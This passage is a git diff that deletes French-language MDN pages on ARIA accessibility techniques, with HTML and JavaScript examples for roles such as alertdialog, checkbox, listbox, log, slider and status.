
Lorsque la boîte de dialogue est correctement labélisée et que le focus se place sur un contrôle qu’elle contient, les lecteurs d’écran devraient annoncer le rôle accessible de la boîte de dialogue, son nom et éventuellement sa description, avant d’annoncer l’élément qui a reçu le focus.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Une boîte de dialogue d’alerte

- -

L’extrait de code ci-dessous présente la façon de baliser une boîte de dialogue d’alerte qui ne contient qu’un message et un bouton OK.

- -
<div role="alertdialog" aria-labelledby="dialog1Titre" aria-describedby="dialog1Desc">
-  <div role="document" tabindex="0">
-    <h2 id="dialog1Titre">Votre session est sur le point d’expirer</h2>
-    <p id="dialog1Desc">Pour prolonger votre session, cliquez sur le bouton OK</p>
-    <button>OK</button>
-  </div>
-</div>
- -

Exemples concrets :

- -

À définir

- -

Notes

- -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_banner/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_banner/index.html" deleted file mode 100644 index 3a717bbdaa..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_banner/index.html" +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Utilisation du rôle banner -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_banner -tags: - - ARIA - - Accessibilité - - NeedsContent - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/Banner_role ---- -

Description

- -
Cette technique présente l’utilisation du rôle banner (en).
- -

La zone d’entête principale d'un site devrait être structurée avec  <header role="banner">. Cette zone peut contenir le logo du site, sa description, le moteur de recherche.

- -

Une page web ne doit pas contenir plus d'un rôle banner, mais il est tout à fait possible d'utiliser plusieurs éléments <header> dans une page.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

 

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Une zone d'entête typique de site 

- -
<header role="banner">
-  <p><img src="logo.png" alt="Nom du site"></p>
-  <p>Description du site</p>
-  <div role="search">
-    ...
-  </div>
-</header>
- -

Autres ressources

- -

La fiche accede-web.

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_checkbox/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_checkbox/index.html" deleted file mode 100644 index 5b42eb0583..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_checkbox/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Utilisation du rôle checkbox -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_checkbox -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/checkbox_role ---- -

Description

-
-

Cette technique présente l’utilisation du rôle checkbox.

-
-

Le rôle checkbox est utilisé pour des contrôles interactifs à cocher. Si un élément utilise role="checkbox", il est obligatoire pour cet élément d’avoir également un attribut aria-checked qui présente l’état de la case à cocher aux technologies d’assistance. Alors que le contrôle de formulaire HTML natif checkbox ne peut avoir que deux états (« coché » ou « décoché »), un élément avec le rôle role=checkbox peut présenter trois états pour l'attribut aria-checked :

- -

Le développeur doit modifier dynamiquement la valeur de l’attribut aria-checked lorsque la case est cochée.

-

Comme une case à cocher est un contrôle interactif, elle doit pouvoir recevoir le focus et être accessible au clavier. Si le rôle est appliqué à un élément qui ne peut recevoir le focus, l’attribut tabindex devra être utilisé pour corriger cela. Le raccourci clavier attendu pour activer une case à cocher est la barre d’espace.

-

Effets possibles sur les agents utilisateurs et les technologies d’assistance

-

Lorsque le rôle checkbox est ajouté à un élément, l’agent utilisateur devrait suivre les étapes suivantes :

- -

Les technologies d’assistance doivent faire la chose suivante :

- -
- Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
-

Exemples

-

Exemple 1 : Ajout du rôle ARIA checkbox

-
<span role="checkbox" aria-checked="false" tabindex="0" id="chk1"></span>
-<label for="chk1">Enregistrer mes préférences</label>
-
-

Exemples concrets :

- -

Notes

-

Attributs ARIA utilisés

- -

Techniques ARIA connexes

-

Compatibilité

-

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

-

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_group/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_group/index.html" deleted file mode 100644 index 3e335427c7..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_group/index.html" +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Utiliser le rôle group -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_group -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle group et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle group est utilisé pour identifier un ensemble d’objets de l’interface utilisateur qui, contrairement à une region, ne sont pas destinés à être intégrés dans une table de contenus ou une page récapitulative (telles que des structures dynamiquement créées par des scripts ou par les technologies d’assistance) ; un groupe ne devrait pas être considéré comme une partie perceptible majeure d’une page. Lorsque le rôle group est ajouté à un élément, , le navigateur émettra un événement group accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

- -

Un groupe devrait utilisé pour former un ensemble logique d’éléments avec des fonctions connexes, tels que les enfants dans un composant d’arborescence formant un ensemble apparenté dans une hiérarchie, ou une collection d’éléments ayant le même conteneur dans un répertoire. Cependant, lorsqu’on utilise un groupe pour former une liste, les développeurs doivent limiter ses enfants aux éléments listitem. Les éléments de groupe devraient être imbriqués.

- -

La gestion correcte d’un groupe par les technologies d’assistance est déterminée par le contexte dans lequel il est fourni.

- -

Si un auteur pense qu’une section est suffisamment importante pour faire partie de la table des matières d’une page, il devrait assigner un rôle de region ou un rôle standard de point de repère à cette section.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle group est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- - - -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Utiliser le rôle group avec une arborescence HTML

- -

L’extrait de code ci-dessous montre comment le rôle group est ajouté directement dans le code source HTML.

- -
<div id="tree1" class="tree" role="tree" tabindex="-1">
-  <div id="animals" class="groupHeader" role="presentation" aria-owns="animalGroup" aria-expanded="true">
-    <img class="headerImg" role="presentation" tabindex="-1" src="images/treeExpanded.gif" />
-    <span role="treeitem" tabindex="0">Animaux</span>
-  </div>
-
-  <div id="animalGroup" class="group" role="group">
-    <div id="birds" class="treeitem" role="presentation">
-      <span role="treeitem" tabindex="-1">Oiseaux</span>
-    </div>
-
-    <div id="cats" class="groupHeader" role="presentation" aria-owns="catGroup" aria-expanded="false">
-      <img class="headerImg" role="presentation" tabindex="-1" src="images/treeContracted.gif" />
-      <span role="treeitem" tabindex="0">Chats</span>
-    </div>
-
- <div id="catGroup" class="group" role="group">
-      <div id="siamese" class="treeitem" role="presentation">
-        <span role="treeitem" tabindex="-1">Siamois</span>
-      </div>
-      <div id="tabby" class="treeitem" role="presentation">
-        <span role="treeitem" tabindex="-1">Tigré</span>
-      </div>
-    </div>
-  </div>
-</div>
- -

Exemple 2 : Utiliser le rôle group avec un menu déroulant HTML

- -

L’extrait de code ci-dessous montre comment le rôle group est ajouté directement au code source HTML.

- -
<div role="menu">
-  <ul role="group">
-    <li role="menuitem">Courrier entrant</li>
-    <li role="menuitem">Archive</li>
-    <li role="menuitem">Corbeille</li>
-  </ul>
-  <ul role="group">
-    <li role="menuitem">Dossier personnalisé 1</li>
-    <li role="menuitem">Dossier personnalisé 2</li>
-    <li role="menuitem">Dossier personnalisé 3</li>
-  </ul>
-
-  <ul role="group">
-    <li role="menuitem">Nouveau dossier</li>
-  </ul>
-</div>
- -

Exemples concrets :

- - - -

Notes

- - - -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_link/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_link/index.html" deleted file mode 100644 index 2a65d9f471..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_link/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Utiliser le rôle link -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_link -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role ---- -

Description

-
-

Cette technique présente l’utilisation du rôle link et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
-

Le rôle link est utilisé pour identifier un élément qui crée un hyperlien vers une ressource qui peut être dans l’application ou à l’extérieur. Lorsque ce rôle est ajouté à un élément, la tabulation peut être utilisée pour donner le focus au lien et la barre d’espace ou la touche Entrée peuvent exécuter le lien.

-

L’attribut tabindex peut éventuellement être utilisé avec ce rôle pour spécifier directement la position de l’élément dans l’ordre de tabulation.

-

Effets possibles sur les agents utilisateurs et les technologies d’assistance

-

Lorsque le rôle link est ajouté à un élément, ou qu’un élément possédant ce rôle devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- -

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- -
- Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
-

Exemples

-

Exemple 1 : Ajoute le rôle dans le code HTML

-

L’extrait de code ci-dessous montre comment le rôle link est ajouté dans le code source HTML. 

-
<div role=”link”>Un lien</div>
-
-

Exemple 2 : Lien accessible créé depuis une application à l'aide d'un <span>

-
<script type="text/javascript">
-sap = {ui:{keycodes:{SPACE:32, ENTER:13 }}};
-//gère les clics et les événement clavier sur le lien
-function navigateLink(evt) {
-    if (evt.type=="click" ||
-        evt.keyCode == sap.ui.keycodes.SPACE ||
-        evt.keyCode == sap.ui.keycodes.ENTER) {
-        var ref = evt.target != null ? evt.target : evt.srcElement;
-        if (ref) window.open(ref.getAttribute("href"),"_blank");
-    }
-}
-</script>
-
-<body role="application">
-
-    <h3>Lien simple créé avec un <span></h3>
-    <span href="http://www.w3c.org" onkeydown="navigateLink(event)" onclick="navigateLink(event)" tabindex="0" id="link1" role="link" class="link">
-      Activez ce lien en appuyant sur la barre d’espace ou la touche Entrée
-    </span>
-</body>
-

Exemples concrets :

- -

Notes

-

Si l'activation du lien déclenche une action mais ne déplace pas le focus du navigateur ou que cela ouvre une nouvelle page, vous devriez considérer l'utilisation du rôle button au lieu du rôle link.

-

Attributs ARIA utilisés

- -

Techniques ARIA connexes

- -

Compatibilité

-

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

-

Autres ressources

- diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_listbox/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_listbox/index.html" deleted file mode 100644 index 5deca20928..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_listbox/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Utiliser le rôle listbox -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_listbox -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/Roles/listbox_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle listbox et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle listbox est utilisé pour identifier un élément qui crée une liste à partir de laquelle un utilisateur peut sélectionner un ou plusieurs éléments statiques et peut contenir des images, contrairement à l’élément HTML {{ HTMLElement("select") }}. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement accessible listbox aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

- -

Chaque entrée de la boîte liste devrait avoir un rôle d’option et devrait être une descendante de la boîte liste dans l’arbre DOM. Si une ou plusieurs entrées ne sont pas des descendantes de la boîte liste dans le DOM, référez-vous aux Bonnes pratiques ARIA pour obtenir plus de détails sur les propriétés additionnelles qui doivent être définies.

- -

Lorsqu’on navigue entre les différents éléments d’une liste, le premier élément de la liste sera sélectionné par défaut en l’absence de sélection existante. Les flèches haut et bas permettent de naviguer dans la liste, et appuyer sur Maj+Flèche haut/bas déplacera et développera la sélection. Saisir un ou plusieurs lettres permet de naviguer dans la liste des éléments (une seule et même lettre positionnera la sélection sur chacun des éléments qui commence par elle, plusieurs lettres placeront la sélection sur le premier élément commençant par la chaîne). Si l’élément courant est associé à un menu contextuel, Maj+F10 affichera ce menu. Si les éléments de la liste peuvent être cochés, Espace peut être utilisée pour basculer l’état de la checkboxes. Pour les éléments de liste sélectionnables, Espace bascule l’état de sélection, Maj+Espace peut être utilisé pour sélection des éléments contigus, Ctrl+Flèche déplace le curseur sans sélectionner d’élément, et Ctrl+Espace peut être utilisé pour sélectionner des éléments non-contigus. Il est recommandé d’utiliser une case à cocher, un lien ou tout autre méthode pour permettre la sélection de tous les éléments, et Ctrl+A peut être utilisé comme raccourci pour cela.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle listbox est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- - - -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : une liste de sélection simple qui utilise l’attribut aria-activedescendant

- -

L’extrait de code ci-dessous montre comment le rôle listbox est ajouté directement dans le code source HTML :

- -
<div role="listbox" tabindex="0" id="listbox1" onclick="return listItemClick(event);"
-  onkeydown="return listItemKeyEvent(event);" onkeypress="return listItemKeyEvent(event);"
-  onfocus="this.className='focus';" onblur="this.className='blur';" aria-activedescendant="listbox1-1">
-  <div role="option" id="listbox1-1" class="selected">Vert</div>
-  <div role="option" id="listbox1-2">Orange</div>
-  <div role="option" id="listbox1-3">Rouge</div>
-  <div role="option" id="listbox1-4">Bleu</div>
-  <div role="option" id="listbox1-5">Violet</div>
-  <div role="option" id="listbox1-6">Pervenche</div>
-</div>
-
- -

Voir l’exemple CodeTalks pour plus de détails.

- -

Exemples concrets :

- - - -

Notes

- - - -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_log/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_log/index.html" deleted file mode 100644 index 17f4e5f336..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_log/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Utiliser le rôle log -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_log -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle log et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
- -

Le rôle log est utilisé pour identifier un élément qui crée une zone live où de nouvelles informations sont ajoutées dans un ordre significatif et où les anciennes informations peuvent être supprimées. Par exemple, un journal de salon de discussion, l’historique d’une messagerie ou un fichier d’erreurs. Contrairement aux autres types de zones live, ce rôle est ordonné de façon séquentielle et les nouvelles informations sont uniquement ajoutées à la fin de l’enregistrement. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement log accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

- -

Par défaut, les mises à jour ne contiennent que les changements apportés à la zone live et elles sont annoncées à l'utilisateur lorsqu'il est inactif. Si l'utilisateur a besoin d'entendre l'ensemble de la zone live lorsqu'un changement se produit, il faut utiliser aria-atomic="true". Pour faire les annonces le plus tôt possible et lorsque l'utilisateur peut être interrompu, aria-live="assertive" peut être défini pour lancer des mises à jour plus agressives.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle log est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

- - - -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Ajout du rôle dans du code HTML

- -

L’extrait de code ci-dessous montre comment le rôle log est ajouté directement dans le code source HTML.

- -
<div id=”liveregion” class=”region” role=”log”></div>
-
- -

Exemple 2 : Extrait d’un exemple d’application

- -

Cet extrait de code crée le journal dans une application de chat AJAX.

- -
<div id="chatArea" role="log">
-  <ul id="chatRegion" aria-live="polite" aria-atomic="false">
-    <li>Veuillez choisir un pseudo pour commencer à utiliser AJAX Chat.</li>
-  </ul>
-
-  <ul id="userListRegion" aria-live="off" aria-relevant="additions removals text">
-  </ul>
-</div>
- -

Voir l’exemple sur CodeTalks pour plus d’informations.

- -

Exemples concrets :

- - - -

Notes

- - - -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_presentation/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_presentation/index.html" deleted file mode 100644 index 3aae7c9b84..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_presentation/index.html" +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Utiliser le rôle presentation -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_presentation -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role ---- -

Cette page présente l'usage du rôle presentation et décrit l'effet qu'il a sur les navigateurs et les technologies d'assistance.

- -

Description

- -
-

Le rôle presentation est utilisé pour retirer toute représentation sémantique pour un élément donnée ainsi que pour ses descendants. Par exemple, un tableau utilisé pour la mise en page pourrait avoir un rôle presentation appliqué sur l'élément table pour retirer la sémantique de l'élément en lui-même ainsi que tout ses sous-éléments, comme l'en-tête de tableau ou même les données de tableau elles-mêmes.

-
- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Les agents utilisateurs ou les technologies d'assistance ne devrait normalement pas lire les éléments marqués comme étant de rôle presentation.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1: Les icônes-fontes

- -

Une des recommandations d'accessibilité propose que les couleurs ou les représentations imagées (icônes par exemple) ne soient pas l'unique méthode pour transmettre une information. Ainsi nous pouvons partir du postula que votre icône est un complément décoratif à un texte explicite. Il faut donc lui appliquer un rôle presentation.

- -
<i class="icon-user" role="presentation"></i>
-
- -

Exemples concrets :

- -

Par exemple, en reprenant le bouton de la navigation principale de ce site web, nous pourrions écrire.

- -
<button type="button" aria-haspopup="true">
-    Technologies
-    <span class="main-menu-arrow" role="presentation">▼</span>
-</button>
-
- -

Exemple 2 : Inline SVG

- -

De plus en plus d'images sont proposées sous la forme de compositions SVG directement insérées dans le document HTML. À l'image de l'attribut alt vide sur un élément img, il est possible d'indiquer qu'un élément SVG est purement décoratif grave au rôle presentation.

- -
<svg role="presentation">
-…
-</svg>
- - - -

Notes

- -

Attributs ARIA utilisés

- -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- -

Using Aria - 2.9 Use of Role=presentation or Role=none: https://www.w3.org/TR/using-aria/#presentation

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_progressbar/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_progressbar/index.html" deleted file mode 100644 index 60fbba02c6..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_progressbar/index.html" +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Utiliser le rôle progressbar -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_progressbar -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle progressbar.

-
- -

Le rôle progressbar devrait être utilisé pour un élément qui affiche la progression d’un tâche prenant un certain temps ou s’effectuant en plusieurs étapes.

- -

Une barre de progression indique que la requête de l’utilisateur a été prise en compte et que l’application progresse vers la finalisation de l’action demandée. Si la valeur courante de la barre de progression peut être connue, le développeur pourra indiquer la progression à l’aide des attributs aria-valuenow, aria-valuemin et aria-valuemax. Si la valeur de progression est indéterminée, le développeur peut omettre l’attribut aria-valuenow.

- -

Lorsqu’une tâche progresse, la valeur aria-valuenow doit être dynamiquement actualisée pour indiquer la progression aux produits de technologies d’assistance.

- -

Si le rôle progressbar décrit la progression du chargement d’une zone particulière d’une page, l’auteur DOIT utiliser l’attribut aria-describedby pour pointer vers l’état courant, et définir l’attribut aria-busy à true pour la zone jusqu’à la fin du chargement. Il n’est pas possible à l’utilisateur de modifier la valeur de progressbar car elle est toujours en lecture seule.

- -
Note : généralement les technologies d’assistance retourneront la valeur de l’attribut aria-valuenow sous la forme d’un pourcentage d’une plage de valeurs comprise entre aria-valuemin et aria-valuemax, sauf si aria-valuetext est spécifié. Il est préférable de définir les valeurs pour les attributs aria-valuemin, aria-valuemax et aria-valuenow de façon appropriée pour ce calcul.
- -
Note : les éléments possédant le rôle progressbar ont une valeur aria-readonly implicite définie à true.
- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Les lecteurs devraient annoncer les mises à jour de la progression dès qu’elles se produisent. Si la barre de progression a un label, il devrait également être mentionné.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : barre de progression simple avec pourcentage de progression

- -
<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">20 %</div>
-
- -

Exemple 2 : Utilisation de aria-valuetext

- -
<div role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuetext="Étape 2 : Copie des fichiers…" aria-valuemax="100">
-  Étape 2 : Copie des fichiers…
-</div>
-
-
- -

Exemples concrets :

- -

Notes

- -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_slider/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_slider/index.html" deleted file mode 100644 index 81653c4e28..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_slider/index.html" +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Utiliser le rôle slider -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_slider -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle slider.

-
- -

Le rôle slider est utilisé pour des balises qui permettent à l'utilisateur de sélectionner une valeur dans un intervalle donné. Le rôle slider est assigné à la « molette », le contrôle qui est ajusté pour modifier la valeur. Typiquement, un autre élément est stylé pour représenter visuellement l'intervalle de valeurs possibles, et le curseur est positionné visuellement pour représenter la valeur dans cet intervalle. Lorsque l'utilisateur interagit avec la molette, l'application doit programmatiquement ajuster l'attribut aria-valuenow du curseur de défilement (et si possible aria-valuetext) pour refléter la valeur courante. Voir la section {{ anch("Exemples") }} ci-dessous pour plus d'informations.

- -

Clavier et focus

- -

Le curseur doit pouvoir recevoir le focus et être manipulable au clavier. Lorsque l'utilisateur tabule pour amener le focus sur le curseur, il doit arriver sur la molette : le contrôle qu'un utilisateur de souris fera glisser. Les touches flèches doivent agir de la façon suivante (attention toutefois, dans les applications, aux directions de flèches pour les langues s'écrivant de droite à gauche) :

- - - - - - - - - - - - - - - - - - - - - - -
Touche(s)Action
Flèches haut et droiteAugmente la valeur sélectionnée
Flèches bas et gaucheBaisse la valeur sélectionnée
Page haut et Page basAugmente ou baisse facultativement la valeur selon un pas prédéfini (par exemple de 10 en 10 dans un intervalle de 0 à 100)
- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : Intervalle numérique simple

- -

Dans l'exemple ci-dessous, un simple curseur est utilisé pour sélectionner une valeur entre 1 et 100. Le volume courant est 60. L'application actualisera programmatiquement la valeur de aria-valuenow en réponse à l'action de l'utilisateur.

- -
<div id="slider-label">Volume</div>
-
-<div class="vol-slider">
-  <a href="#" id="vol-handle" class="handle" role="slider" aria-labelledby="slider-label"
-    aria-valuemin="1"
-    aria-valuemax="100"
-    aria-valuenow="60">
-  </a>
-</div>
-
- -

Exemple 2 : Valeurs texte

- -

Parfois, un slider est utilisé pour choisir une valeur qui n'est pas, sémantiquement , un nombre. Dans ces cas là, l'attribut aria-valuetext est utilisé pour donner le texte approprié pour la valeur sélectionnée. Dans l'exemple ci-dessous, le slider est utilisé pour sélectionner un jour de la semaine .

- -
<div id="slider-label">Jour de la semaine :</div>
-
-<div class="day-slider">
-  <a href="#" id="day-handle" class="day-slider-handle" role="slider" aria-labelledby="slider-label"
-    aria-valuemin="1"
-    aria-valuemax="7"
-    aria-valuenow="2"
-    aria-valuetext="Lundi">
-  </a>
-</div>
-
- -

L'extrait de code ci-dessous décrit une fonction qui répond à l'action de l'utilisateur et actualise les attributs aria-valuenow et aria-valuetext :

- -
var dayNames = ["Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"];
-var updateSlider = function (newValue) {
-    var handle = document.getElementById("day-handle");
-    handle.setAttribute("aria-valuenow", newValue.toString());
-    handle.setAttribute("aria-valuetext", dayNames[newValue]);
-};
-
- -

Exemples concrets :

- - - -

Notes

- -

Attributs ARIA utilisés

- - - -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_status/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_status/index.html" deleted file mode 100644 index 46fb52e131..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_status/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Utiliser le rôle status -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_status -tags: - - ARIA - - Accessibilité - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role ---- -

Description

-
-

Cette technique présente l’utilisation du rôle status et décrit les effets produits sur les navigateurs et les technologies d’assistance.

-
-

Le rôle status est un type de zone live et un conteneur dont le contenu est un message d’informations destiné à l’utilisateur. Ce message n’est pas assez important pour justifier une alerte. Il est souvent présenté comme une barre d’état. Lorsque le rôle est ajouté à un élément, le navigateur émettra un événement status accessible aux produits de technologies d’assistance qui pourront alors le notifier à l’utilisateur.

-

Le contenu des informations d’état doit être fourni dans un objet d’état et il faut s’assurer que cet objet ne reçoive pas le focus. Si une autre partie de la page contrôle ce qui s’affiche dans l’objet d’état, la relation doit être explicitement définie à l’aide de l’attribut aria-controls.

-

Les technologies d’assistance devraient réserver des cellules dans la grille Braille pour rendre l’état.

-

Effets possibles sur les agents utilisateurs et les technologies d’assistance

-

Lorsque le rôle status est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

- -

